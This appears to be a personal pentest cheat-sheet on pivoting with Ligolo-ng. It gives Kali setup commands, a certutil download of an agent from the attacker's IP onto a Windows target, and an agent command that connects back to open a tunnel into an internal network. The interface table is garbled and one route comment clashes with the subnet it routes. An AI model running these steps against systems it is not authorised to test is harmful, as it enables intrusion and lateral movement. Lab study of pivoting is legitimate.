Ligolo-ng
Pivoting
https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5
# On kali
sudo ip tuntap add user dhawan mode tun ligolo
sudo ip link set ligolo up # enable the interface
#run on kali
./proxy -selfcert
# upload to target machine, like windows
certutil.exe -urlcache -f http://192.168.45.212:8888/agent64.exe agent64.exe
# Execute agent on targt machine
.\agent64.exe -connect 192.168.45.212:11601 -ignore-cert
# On kali - Add a route on the proxy/relay server to the 172.16.241.254/24 agent network.
sudo ip route add 10.10.111.0/24 dev ligolo
# Interface that we are interested with
βββββββββββββββββββββββββββββββββββββββββββββββββ
β Interface 1 β
ββββββββββββββββ¬βββββββββββββββββββββββββββββββββ€
β Name β Ethernet1 β
β Hardware MAC β 00:50:56:ab:8e:2f β
β MTU β 1500 β
β Flags β up|broadcast|multicast|running β
β IPv4 Address β 172.16.241.254/24 β
ββββββββββββββββ΄βββββββββββββββββββββββββββββββββ
# go back to the proxy interface, choose the session and start the port forwarding
session 1
startPort forwarding using ligolo

Technique

Last updated